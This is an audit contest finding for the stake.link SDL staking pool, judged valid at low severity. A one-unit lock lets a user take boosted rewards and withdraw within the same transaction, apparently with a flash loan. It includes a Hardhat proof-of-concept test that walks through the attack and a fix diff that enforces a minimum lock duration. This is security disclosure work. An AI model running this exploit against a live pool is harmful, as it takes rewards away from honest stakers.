stake.link

stake.link
DeFiHardhatBridge
27,500 USDC
View results
Submission Details
Severity: low
Valid

A malicious user can get boosted rewards without locking sdl tokens and claim distributed tokens

Summary

A user can obtain boosted rewards by locking some sdl amount for a single unit of time, get distributed rewards from the tokens that the pool yielded and withdraw the sdl tokens in the same timestamp / trasaction

Vulnerability Details

When creating a lock or extending lock duration there is no restriction for the amount of time to lock the sdl tokens apart from not being greater than the maxLockingDuration.
That enables any user to fakely lock any sdl amount for a single unit of time and in the same transaction be able to withdraw that same amount.
This is possible because when initiateUnlock() is called, it calculates the half duration of the locking period. That computation would be 1//2 = 0.
Since the half duration of the locking period is 0, the user can call initiateUnlock() in the same transaction and the expiry will have the value of the same block.timestamp.
That means that the user will be also able to withdraw his sdl token amount in the same transaction.

With this features, any user can get benefited from the pool yielded tokens for free by either taking a sdl token flash loan, or having a huge amount of this token.

Consider the following Proof of Concept:

it('PoC', async () => {
// Situation context:
// The sdl pool gets filled with some yield of some token and is ready to be distributed to stakers
// A user only needs 1 single wei of the reward token to trigger distribution and a huge amount of sdl token that
// can be obtained from a flash loan provider since this attack can be done in a single transaction
// For this test, the reward token will be Link
let userAddress = accounts[1];
// User gets 1 wei of the reward token
await rewardToken.fakeMint(userAddress, 1);
// Users gets a flash loan of a huge amount of sdl
let amountToFlashLoan = toEther(1000000);
await sdlToken.mint(userAddress, amountToFlashLoan);
// User locks this amount of sdl and locking the amount for just 1 sigle unit of time
// The boosted reward will be the following amount:
//
// boostedAmount = 1000000 * 10 ** 18 (amount) * maxBoost // maxLockingDuration
//
// Notice that the higher amount is locked the more boosted rewards will the user receive
await sdlToken
.connect(signers[1])
.transferAndCall(
sdlPool.address,
amountToFlashLoan,
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 1])
)
// User triggers the distributeRewards inside onTokenTransfer function
await rewardToken
.connect(signers[1])
.transferAndCall(
sdlPool.address,
1,
ethers.utils.defaultAbiCoder.encode(['uint256'], [0])
)
// At this point the user received the boosted rewards and owns the lockId 1 that is withdrawable in the same transaction
assert.equal(await sdlPool.ownerOf(1), userAddress);
// User initiates unlock
await sdlPool
.connect(signers[1])
.initiateUnlock(1)
// Since the locking duration was just 1, when it is divided by 2, the half duration will be 0
// and the user will be able to withdraw the staked amount in the same transaction
await sdlPool
.connect(signers[1])
.withdraw(1, amountToFlashLoan);
// User returns sdl flash loan (or just keep this amount if those were his funds)
await sdlToken
.connect(signers[1])
.transfer("0x000000000000000000000000000000000000dead", amountToFlashLoan)
// At the end the user got the reward token distributed amount for free
})

Impact

Other stakers will get less rewards because this user will get some of the amount without even locking sdl for a period of time

Tools Used

Manual review

Recommendations

Restrict the locking period to a minimum amount of time so users can not create a lock and withdraw it in the same transaction. That would disable flash loan attacks.

Changes for SDLPool

function _createLock(uint256 _amount, uint64 _lockingDuration) internal view returns (Lock memory) {
+ if (_lockingDuration != 0 && _lockingDuration < minimumLockingDuration) revert InvalidLockingDuration();
uint256 boostAmount = boostController.getBoostAmount(_amount, _lockingDuration);
uint64 startTime = _lockingDuration != 0 ? uint64(block.timestamp) : 0;
return Lock(_amount, boostAmount, startTime, _lockingDuration, 0);
}
function _updateLock(
Lock memory _lock,
uint256 _amount,
uint64 _lockingDuration
) internal view returns (Lock memory) {
if ((_lock.expiry == 0 || _lock.expiry > block.timestamp) && _lockingDuration < _lock.duration) {
revert InvalidLockingDuration();
}
+ if (_lockingDuration < minimumLockingDuration) revert InvalidLockingDuration();
Lock memory lock = Lock(_lock.amount, _lock.boostAmount, _lock.startTime, _lock.duration, _lock.expiry);
uint256 baseAmount = _lock.amount + _amount;
uint256 boostAmount = boostController.getBoostAmount(baseAmount, _lockingDuration);
if (_lockingDuration != 0) {
lock.startTime = uint64(block.timestamp);
} else {
delete lock.startTime;
}
lock.amount = baseAmount;
lock.boostAmount = boostAmount;
lock.duration = _lockingDuration;
lock.expiry = 0;
return lock;
}
Updates

Lead Judging Commences

0kage Lead Judge
over 1 year ago
0kage Lead Judge
over 1 year ago
0kage Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

min-duration

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.